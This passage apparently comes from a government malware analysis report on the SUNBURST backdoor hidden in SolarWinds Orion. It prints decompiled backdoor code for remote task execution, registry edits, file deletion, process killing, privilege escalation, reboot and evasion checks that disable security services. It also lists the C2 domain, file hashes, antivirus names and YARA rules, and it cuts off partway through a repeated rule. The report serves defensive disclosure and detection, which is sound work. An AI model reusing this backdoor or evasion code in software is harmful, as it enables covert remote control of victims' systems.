SUNBURST contains functions that give it the ability to run specified tasks, terminate processes, delete files, compute file hashes, and reboot the victim system.

**RUN SPECIFIED TASKS**
The "ExecuteEngine" is a core function that uses the “job” variable to carry out certain tasks for the adversary. This function has the ability to run tasks that could consist of command line arguments, alter the registry (to maintain persistence, etc.), collect a detailed description of the target platform, kill tasks, delete files, add files, or even execute a secondary payload:

--Begin ExecuteEngine Function--
private int ExecuteEngine(
       OrionImprovementBusinessLayer.HttpHelper.JobEngine job,
       string cl,
       out string result)
    {
       result = (string) null;
       int num = 0;
       string[] args = OrionImprovementBusinessLayer.Job.SplitString(cl);
       try
       {
        if (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.ReadRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetRegistryValue || (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetRegistrySubKeyAndValueNames))
           num = OrionImprovementBusinessLayer.HttpHelper.AddRegistryExecutionEngine(job, args, out result);
        switch (job)
        {
           case OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetTime:
            int delay;
            OrionImprovementBusinessLayer.Job.SetTime(args, out delay);
            this.delay = delay;
            break;
           case OrionImprovementBusinessLayer.HttpHelper.JobEngine.CollectSystemDescription:
            OrionImprovementBusinessLayer.Job.CollectSystemDescription(this.proxy.ToString(), out result);
            break;
           case OrionImprovementBusinessLayer.HttpHelper.JobEngine.UploadSystemDescription:
            OrionImprovementBusinessLayer.Job.UploadSystemDescription(args, out result, this.proxy.GetWebProxy());
            break;
           case OrionImprovementBusinessLayer.HttpHelper.JobEngine.RunTask:
            num = OrionImprovementBusinessLayer.Job.RunTask(args, cl, out result);
            break;
           case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetProcessByDescription:
            OrionImprovementBusinessLayer.Job.GetProcessByDescription(args, out result);
            break;
           case OrionImprovementBusinessLayer.HttpHelper.JobEngine.KillTask:
            OrionImprovementBusinessLayer.Job.KillTask(args);
            break;
        }
        return job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.WriteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.FileExists || (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteFile || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileHash) || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetFileSystemEntries ? OrionImprovementBusinessLayer.HttpHelper.AddFileExecutionEngine(job, args, out result) : num;
       }
       catch (Exception ex)
       {
        if (!string.IsNullOrEmpty(result))
           result += "\n";
        result += ex.Message;
        return ex.HResult;
       }
--End ExecuteEngine function--

**TERMINATE PROCESSES**
    public static void KillTask(string[] args) =&gt;
Process.GetProcessById(int.Parse(args[0])).Kill();

**DELETE FILE**
    public static void DeleteFile(string[] args) =&gt; System.IO.File.Delete(Environment.ExpandEnvironmentVariables(args[0]));

**COMPUTE FILE HASHES**
    public static int GetFileHash(string[] args, out string result)
    {
       result = (string) null;
       string path = Environment.ExpandEnvironmentVariables(args[0]);
       using (MD5 md5 = MD5.Create())
       {
        using (FileStream fileStream = System.IO.File.OpenRead(path))
        {
           byte[] hash = md5.ComputeHash((Stream) fileStream);
           if (args.Length &gt; 1)
            return !(OrionImprovementBusinessLayer.ByteArrayToHexString(hash).ToLower() == args[1].ToLower()) ? 1 : 0;
           result = OrionImprovementBusinessLayer.ByteArrayToHexString(hash);
        }
       }
       return 0;
    }

**REBOOT SYSTEM**
public static bool RebootComputer()
    {
       bool flag = false;
       try
       {
        bool previousState = false;
        string privilege = OrionImprovementBusinessLayer.ZipHelper.Unzip(ph2eifo3n5utg1j8d94qrvbmk0sal76c);
        if (!OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, true, out previousState))
           return flag;
        flag = OrionImprovementBusinessLayer.NativeMethods.InitiateSystemShutdownEx((string) null, (string) null, 0U, true, true, 2147745794U);
        OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, previousState, out previousState);
        return flag;
       }
       catch (Exception ex)
       {
        return flag;
       }
    }
--End additional functions Function--

**ADJUST PROCESS PRIVILEGES**
The SetProcessPrivilege function is used to adjust privileges for a target process on the victim system. For example, a process may need increased system level privileges to accomplish its designed task.

--Begin SetProcessPrivilege Function--
public static bool SetProcessPrivilege(
       string privilege,
       bool newState,
       out bool previousState)
    {
       bool flag = false;
       previousState = false;
       try
       {
        IntPtr zero = IntPtr.Zero;
        OrionImprovementBusinessLayer.NativeMethods.LUID Luid = new OrionImprovementBusinessLayer.NativeMethods.LUID();
        Luid.LowPart = 0U;
        Luid.HighPart = 0U;
        if (!OrionImprovementBusinessLayer.NativeMethods.OpenProcessToken(OrionImprovementBusinessLayer.NativeMethods.GetCurrentProcess(), TokenAccessLevels.Query | TokenAccessLevels.AdjustPrivileges, ref zero))
           return false;
        if (!OrionImprovementBusinessLayer.NativeMethods.LookupPrivilegeValue((string) null, privilege, ref Luid))
        {
           OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero);
           return false;
        }
        OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE NewState = new OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE();
        OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE PreviousState = new OrionImprovementBusinessLayer.NativeMethods.TOKEN_PRIVILEGE();
        NewState.PrivilegeCount = 1U;
        NewState.Privilege.Luid = Luid;
        NewState.Privilege.Attributes = newState ? 2U : 0U;
        uint ReturnLength = 0;
        OrionImprovementBusinessLayer.NativeMethods.AdjustTokenPrivileges(zero, false, ref NewState, (uint) Marshal.SizeOf((object) PreviousState), ref PreviousState, ref ReturnLength);
        previousState = (PreviousState.Privilege.Attributes &amp; 2U) &gt; 0U;
        flag = true;
        OrionImprovementBusinessLayer.NativeMethods.CloseHandle(zero);
        return flag;
       }
       catch (Exception ex)
       {
        return flag;
       }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct LUID
    {
       public uint LowPart;
       public uint HighPart;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct LUID_AND_ATTRIBUTES
    {
       public OrionImprovementBusinessLayer.NativeMethods.LUID Luid;
       public uint Attributes;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    private struct TOKEN_PRIVILEGE
    {
       public uint PrivilegeCount;
       public OrionImprovementBusinessLayer.NativeMethods.LUID_AND_ATTRIBUTES Privilege;
    }
   }
--End SetProcessPrivilege Function--


**BLOCK LIST CHECKING FUNCTIONS**
The Update function is critical to starting the SUNBURST C2 functionality. Early in its execution, the Update function calls the UpdateNotification() function. If that returns a “False”, indicating one of the hard-coded block list processes is running, the SUNBURST malware will not initiate its C2 session. The malicious class “OrionImprovementBusinessLayer”, containing the SUNBURST module, will effectively be disabled. However, the parent SolarWinds process running the malicious DLL 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 will not be interrupted.

--Begin Update Function--
   private static void Update()
   {
    bool flag1 = false;
    OrionImprovementBusinessLayer.CryptoHelper cryptoHelper = new OrionImprovementBusinessLayer.CryptoHelper(OrionImprovementBusinessLayer.userId, OrionImprovementBusinessLayer.domain4);
    OrionImprovementBusinessLayer.HttpHelper http = (OrionImprovementBusinessLayer.HttpHelper) null;
    Thread thread = (Thread) null;
    bool last = true;
    OrionImprovementBusinessLayer.AddressFamilyEx addressFamilyEx = OrionImprovementBusinessLayer.AddressFamilyEx.Unknown;
    int num1 = 0;
    bool flag2 = true;
    OrionImprovementBusinessLayer.DnsRecords rec = new OrionImprovementBusinessLayer.DnsRecords();
    Random random = new Random();
    int num2 = 0;
    if (!OrionImprovementBusinessLayer.UpdateNotification())
       return;
    OrionImprovementBusinessLayer.svcListModified2 = false;
    for (int index = 1; index &lt;= 3 &amp;&amp; !flag1; ++index)
    {
       OrionImprovementBusinessLayer.DelayMin(rec.A, rec.A);
       if (!OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
       {
        if (OrionImprovementBusinessLayer.svcListModified1)
           flag2 = true;
        num1 = OrionImprovementBusinessLayer.svcListModified2 ? num1 + 1 : 0;
        string hostName;
        switch (OrionImprovementBusinessLayer.status)
        {
           case OrionImprovementBusinessLayer.ReportStatus.New:
            hostName = addressFamilyEx == OrionImprovementBusinessLayer.AddressFamilyEx.Error ? cryptoHelper.GetCurrentString() : cryptoHelper.GetPreviousString(out last);
            break;
           case OrionImprovementBusinessLayer.ReportStatus.Append:
            hostName = flag2 ? cryptoHelper.GetNextStringEx(rec.dnssec) : cryptoHelper.GetNextString(rec.dnssec);
            break;
           default:
            goto label_27;
        }
--End Update Function--


The UpdateNotification() function will return a "False" if any process on the hard coded blocklist is running on the target system. It utilizes the TrackProcess function detailed below. It call the TrackProcesses function.

--Begin UpdateNotification Function--
private static bool UpdateNotification()
   {
    int num = 3;
    while (num-- &gt; 0)
    {
       OrionImprovementBusinessLayer.DelayMin(0, 0);
       if (OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true))
        return false;
       if (OrionImprovementBusinessLayer.DnsHelper.CheckServerConnection(OrionImprovementBusinessLayer.apiHost))
        return true;
    }
    return false;
   }
--End UpdateNotification Function--


The "TrackProcesses" function queries a list of running processes on the target system and then passes the process names to the "SearchAssemblies" function, which hashes their process names and compares the result hashes to the hard-coded process hash list stored in the list "assemblyTimeStamps." If any of the target processes are running, the function will return True. It also searches for certain services and attempts to disable them.

--Begin TrackProcesses Function--
public static bool TrackProcesses(bool full)
    {
       Process[] processes = Process.GetProcesses();
       if (OrionImprovementBusinessLayer.ProcessTracker.SearchAssemblies(processes))
        return true;
       bool flag = OrionImprovementBusinessLayer.ProcessTracker.SearchServices(processes);
       return !flag &amp; full ? OrionImprovementBusinessLayer.ProcessTracker.SearchConfigurations() : flag;
    }
--End TrackProcesses Function--


The "SearchAssemblies" function called by TrackProcesses, is used to enumerate running processes to determine if any of the hashed processes, included within the process blocklist are currently running on the target system.

--Begin SearchAssemblies Function—
private static bool SearchAssemblies(Process[] processes)
    {
       for (int index = 0; index &lt; processes.Length; ++index)
       {
        ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower());
        if (Array.IndexOf&lt;ulong&gt;(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1)
           return true;
       }
       return false;

    }
--End SearchAssemblies Function--


The SearchServices" function, called by TrackProcesses, searches running services to determine whether or not they are running any of the hard-coded block list target process hashes. It attempts to disable these services.

--Begin SearchServices Function--
private static bool SearchServices(Process[] processes)
    {
       for (int index = 0; index &lt; processes.Length; ++index)
       {
        ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower());
        foreach (OrionImprovementBusinessLayer.ServiceConfiguration svc in OrionImprovementBusinessLayer.svcList)
        {
           if (Array.IndexOf&lt;ulong&gt;(svc.timeStamps, hash) != -1)
           {
            object obj = OrionImprovementBusinessLayer.ProcessTracker._lock;
            bool flag = false;
            try
            {
               Monitor.Enter(obj, ref flag);
               if (!svc.running)
               {
                OrionImprovementBusinessLayer.svcListModified1 = true;
                OrionImprovementBusinessLayer.svcListModified2 = true;
                svc.running = true;
               }
               if (!svc.disabled)
               {
                if (!svc.stopped)
                {
                   if (svc.Svc.Length != 0)
                   {
                    OrionImprovementBusinessLayer.DelayMin(0, 0);
                    OrionImprovementBusinessLayer.ProcessTracker.SetManualMode(svc.Svc);
                    svc.disabled = true;
                    svc.stopped = true;
                   }
                }
               }
            }
            finally
            {
               if (flag)
                Monitor.Exit(obj);
            }
--End SearchServices Function--

Screenshots
Figure 1 - The modified module with a new class function named "OrionImprovementBusinessLayer."

Figure 1 - The modified module with a new class function named "OrionImprovementBusinessLayer."

Figure 2 - The code snippet contains the subdomains and other strings used to construct the C2 domains.

Figure 2 - The code snippet contains the subdomains and other strings used to construct the C2 domains.

avsvmcloud.com

Tags

command-and-control

Whois

Domain Name: avsvmcloud.com
Registry Domain ID: 2289718834_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2020-10-08T13:58:35Z
Creation Date: 2018-07-25T11:38:29Z
Registrar Registration Expiration Date: 2023-07-25T11:38:29Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: Not Available From Registry
Registrant Name: Registration Private
Registrant Organization: Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 14455 N. Hayden Road
Registrant City: Scottsdale
Registrant State/Province: Arizona
Registrant Postal Code: 85260
Registrant Country: US
Registrant Phone: +1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email: avsvmcloud.com@domainsbyproxy.com
Registry Admin ID: Not Available From Registry
Admin Name: Registration Private
Admin Organization: Domains By Proxy, LLC
Admin Street: DomainsByProxy.com
Admin Street: 14455 N. Hayden Road
Admin City: Scottsdale
Admin State/Province: Arizona
Admin Postal Code: 85260
Admin Country: US
Admin Phone: +1.4806242599
Admin Phone Ext:
Admin Fax: +1.4806242598
Admin Fax Ext:
Admin Email: avsvmcloud.com@domainsbyproxy.com
Registry Tech ID: Not Available From Registry
Tech Name: Registration Private
Tech Organization: Domains By Proxy, LLC
Tech Street: DomainsByProxy.com
Tech Street: 14455 N. Hayden Road
Tech City: Scottsdale
Tech State/Province: Arizona
Tech Postal Code: 85260
Tech Country: US
Tech Phone: +1.4806242599
Tech Phone Ext:
Tech Fax: +1.4806242598
Tech Fax Ext:
Tech Email: avsvmcloud.com@domainsbyproxy.com
Name Server: PDNS09.DOMAINCONTROL.COM
Name Server: PDNS10.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2020-12-14T19:00:00Z <<<

Relationships
avsvmcloud.com Connected_From 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
Description

The subdomain for "SolarWinds.Orion.Core.BusinessLayer.dll."

d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600

Tags

dropper

Details
Name SolarWinds-Core-v2019.4.5220-Hotfix5.msp
Size 214831104 bytes
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Installation Database, Subject: SolarWinds Orion Core Services 2019.4, Author: SolarWinds Worldwide, LLC., Keywords: Installer, Comments: This installer database contains the logic and data required to install SolarWinds Orion Core Services 2019.4., Create Time/Date: Tue Mar 24 11:55:04 2020, Name of Creating Application: Windows Installer XML Toolset (3.9.1208.0), Security: 4, Template: Intel;1033, Last Saved By: Intel;1033, Revision Number: {079A74C5-95D0-446E-86F7-B8EAF0A29654}119.4.20161.5220;{079A74C5-95D0-446E-86F7-B8EAF0A29654}119.4.20161.5220;{DA36F8E2-99FC-44DF-B011-09F6B063B0F7}, Number of Pages: 200, Number of Characters: 152174623
MD5 02af7cec58b9a5da1c542b5a32151ba1
SHA1 1b476f58ca366b54f34d714ffce3fd73cc30db1a
SHA256 d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
SHA512 f40fd5d94791f18eed59dc78d12acc52f4a65dfdf8c819d6957de8059e0e127160e0a21320845340932a54f9c639c42b2c815558b2d0cec111e06aa5c8908ea4
ssdeep 3145728:yMbnCpAK7nuv7xYiq0bC4zheqeRHuCieBVZNP7WJOQeXt+9riYBaeIBjSxTusL:yMbCp7uf3GnqfCVrNPgLrW4GoxSG
Entropy 7.998885
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
d0d626deb3... Contains 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77
Description

This file is a Microsoft Windows Installer Patch file that has been identified as a SUNBURST installer named "SolarWinds-Core-v2019.4.5220-Hotfix5.msp." This file contains legitimate SolarWinds Orion update components, the modified DLL "SolarWinds.Orion.Core.BusinessLayer.dll" (32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77) and a legitimate configuration file.

The hotfix is typically delivered to the SolarWinds Orion application as an update for the "SolarWinds.Orion.Core.BusinessLayer.dll" module. In this case, when the update is applied, it will overwrite the non-malicious module, replacing it with the trojanized version and providing the attacker with the same level of access as described in the analysis of "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77."

ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6

Tags

backdoortrojan

Details
Name SolarWinds.Orion.Core.BusinessLayer.dll
Size 1028072 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 846e27a652a5e1bfbd0ddd38a16dc865
SHA1 d130bd75645c2433f88ac03e73395fba172ef676
SHA256 ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6
SHA512 c26e275b4232be844f6c4062a4f42413099452085060ed4080b880b52800428cd32f69271c98977fa979a89355fbb3b485855ca3d51499bca12dfbf8c3168d2f
ssdeep 12288:5JKoHwfn/jz3bbO4Qag2I97PMieSLezPKT+BYvjenWHuhh9c0g8vkzK19Q:vEfDbO97P8TrK0YbenWH4c0g8vkzK19
Entropy 5.580054
Antivirus
Ahnlab Backdoor/Win32.SunBurst
Antiy Trojan[Backdoor]/MSIL.Agent
Avira TR/Sunburst.A
BitDefender Trojan.Sunburst.A
Clamav Win.Countermeasure.Sunburst-9809152-0
Comodo Backdoor
Cyren W32/MSIL_SunBurst.A.gen!Eldorado
ESET a variant of MSIL/SunBurst.A trojan
Emsisoft Trojan.Win32.Sunburst (A)
Ikarus Backdoor.Sunburst
K7 Trojan ( 00574a531 )
Lavasoft Trojan.Sunburst.A
McAfee Trojan-sunburst
Microsoft Security Essentials Trojan:MSIL/Solorigate.BR!dha
NANOAV Trojan.Win32.SunBurst.iduxyv
Sophos Mal/Sunburst-A
Symantec Backdoor.Sunburst
Systweak trojan-backdoor.sunburst-r
TrendMicro Backdoo.6F8C6A1E
TrendMicro House Call Backdoo.6F8C6A1E
VirusBlokAda TScope.Trojan.MSIL
Zillya! Trojan.SunBurst.Win32.1
YARA Rules
  • rule CISA_10318927_01 : trojan rat SOLAR_FIRE
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10318927"
           Date = "2020-12-13"
           Last_Modified = "20201213_2145"
           Actor = "n/a"
           Category = "TROJAN RAT"
           Family = "SOLAR_FIRE"
           Description = "This signature is based off of unique strings embedded within the modified Solar Winds app"
           MD5_1 = "b91ce2fa41029f6955bff20079468448"
           SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
           MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865"
           SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
       strings:
           $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
           $s1 = { 41 00 41 00 3D 00 3D 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
           $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
           $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00 42 }
       condition:
    all of them
    }
  • rule FireEye_20_00025668_01 : SUNBURST APT backdoor
    {
       meta:
           Author = "FireEye"
           Date = "2020-12-13"
           Last_Modified = "20201213_1917"
           Actor = "n/a"
           Category = "Backdoor"
           Family = "SUNBURST"
           Description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
           MD5_1 = ""
           SHA256_1 = ""
       strings:
           $cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
           $cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
           $fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
           $fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
           $fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
           $fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
           $fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
           $fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
           $fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
       condition:
           $fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or ( ($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain) )
    }
  • rule FireEye_20_00025668_02 : SUNBURST APT backdoor
    {
       meta:
           Author = "FireEye"
           Date = "2020-12-13"
           Last_Modified = "20201213_1917"
           Actor = "n/a"
           Category = "Backdoor"
           Family = "SUNBURST"
           Description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
           MD5_1 = ""
           SHA256_1 = ""
       strings:
           $a = "0y3Kzy8BAA==" wide
           $aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
           $ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
           $ac = "C88sSs1JLS4GAA==" wide
           $ad = "C/UEAA==" wide
           $ae = "C89MSU8tKQYA" wide
           $af = "8wvwBQA=" wide
           $ag = "cyzIz8nJBwA=" wide
           $ah = "c87JL03xzc/LLMkvysxLBwA=" wide
           $ai = "88tPSS0GAA==" wide
           $aj = "C8vPKc1NLQYA" wide
           $ak = "88wrSS1KS0xOLQYA" wide
           $al = "c87PLcjPS80rKQYA" wide
           $am = "Ky7PLNAvLUjRBwA=" wide
           $an = "06vIzQEA" wide
           $b = "0y3NyyxLLSpOzIlPTgQA" wide
           $c = "001OBAA=" wide
           $d = "0y0oysxNLKqMT04EAA==" wide
           $e = "0y3JzE0tLknMLQAA" wide
           $f = "003PyU9KzAEA" wide
           $h = "0y1OTS4tSk1OBAA=" wide
           $i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
           $j = "c8rPSQEA" wide
           $k = "c8rPSfEsSczJTAYA" wide
           $l = "c60oKUp0ys9JAQA=" wide
           $m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
           $n = "8yxJzMlMBgA=" wide
           $o = "88lMzygBAA==" wide
           $p = "88lMzyjxLEnMyUwGAA==" wide
           $q = "C0pNL81JLAIA" wide
           $r = "C07NzXTKz0kBAA==" wide
           $s = "C07NzXTKz0nxLEnMyUwGAA==" wide
           $t = "yy9IzStOzCsGAA==" wide
           $u = "y8svyQcA" wide
           $v = "SytKTU3LzysBAA==" wide
           $w = "C84vLUpOdc5PSQ0oygcA" wide
           $x = "C84vLUpODU4tykwLKMoHAA==" wide
           $y = "C84vLUpO9UjMC07MKwYA" wide
           $z = "C84vLUpO9UjMC04tykwDAA==" wide
       condition:
           ($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
    }
ssdeep Matches
94 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134
PE Metadata
Compile Date 2020-05-11 17:32:40-04:00
Import Hash dae02f32a21e03ce65412f6e56942daa
Company Name SolarWinds Worldwide, LLC.
File Description SolarWinds.Orion.Core.BusinessLayer
Internal Name SolarWinds.Orion.Core.BusinessLayer.dll
Legal Copyright Copyright © 1999-2020 SolarWinds Worldwide, LLC. All Rights Reserved.
Original Filename SolarWinds.Orion.Core.BusinessLayer.dll
Product Name SolarWinds.Orion.Core.BusinessLayer
Product Version 2020.2.5300.12432
PE Sections
MD5 Name Raw Size Entropy
87b3389568887539d8c12033e01bcbda header 512 2.901277
58ca620058a1e26cda220dcb83f4eb26 .text 1018368 5.567638
1d816f4a16b05559313aa30a0d3532d6 .rsrc 1536 3.008439
0db83a842dbb0bb3396691d4238bd216 .reloc 512 0.101910
Description

This file has been identified as a SolarWinds Application module containing a patched in SUNBURST backdoor. This embedded SUNBURST code contains the same functions as "SolarWinds.Orion.Core.BusinessLayer.dll" (32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77), and is signed with the same digital certificate.

019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134

Tags

backdoortrojan

Details
Name SolarWinds.Orion.Core.BusinessLayer.dll
Size 1028072 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 2c4a910a1299cdae2a4e55988a2f102e
SHA1 2f1a5a7411d015d01aaee4535835400191645023
SHA256 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134
SHA512 5cbfefe612a40c8872a0faf3db8d3835dc514fb3df159610095b47c595c6caa1ada79cce2b10fb99e648990c3f54f63344d1fa7025090bfcd4e2c55d7210a28d
ssdeep 12288:dJKoHwfn/jz3bbO4Qag2I97PMieSLezPKT+cYvjenWHuhh9c0g8vkzE19Wv:rEfDbO97P8TrKhYbenWH4c0g8vkzE19e
Entropy 5.579997
Antivirus
Ahnlab Backdoor/Win32.SunBurst
Antiy Trojan[Backdoor]/MSIL.Agent
Avira TR/Sunburst.AH
BitDefender Trojan.Sunburst.A
Clamav Win.Countermeasure.Sunburst-9809152-0
Comodo Backdoor
Cyren W32/Trojan.QTKK-7476
ESET a variant of MSIL/SunBurst.A trojan
Emsisoft Trojan.Win32.Sunburst (A)
Ikarus Backdoor.Sunburst
K7 Trojan ( 00574a531 )
Lavasoft Trojan.Sunburst.A
McAfee Trojan-sunburst
Microsoft Security Essentials Trojan:MSIL/Solorigate.BR!dha
NANOAV Trojan.Win32.SunBurst.iduxfm
NetGate Trojan.Win32.Malware
Sophos Mal/Sunburst-A
Symantec Backdoor.Sunburst
Systweak trojan-backdoor.sunburst-r
TrendMicro Backdoo.6F8C6A1E
TrendMicro House Call Backdoo.6F8C6A1E
VirusBlokAda TScope.Trojan.MSIL
Zillya! Trojan.SunBurst.Win32.1
YARA Rules
  • rule CISA_10318927_01 : trojan rat SOLAR_FIRE
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10318927"
           Date = "2020-12-13"
           Last_Modified = "20201213_2145"
           Actor = "n/a"
           Category = "TROJAN RAT"
           Family = "SOLAR_FIRE"
           Description = "This signature is based off of unique strings embedded within the modified Solar Winds app"
           MD5_1 = "b91ce2fa41029f6955bff20079468448"
           SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77"
           MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865"
           SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6"
       strings:
           $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 }
           $s1 = { 41 00 41 00 3D 00 3D 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 }
           $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D }
           $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00 42 }
       condition:
    all of them
    }
  • rule FireEye_20_00025668_01 : SUNBURST APT backdoor
    {
       meta:
           Author = "FireEye"
           Date = "2020-12-13"
           Last_Modified = "20201213_1917"
           Actor = "n/a"
           Category = "Backdoor"
           Family = "SUNBURST"
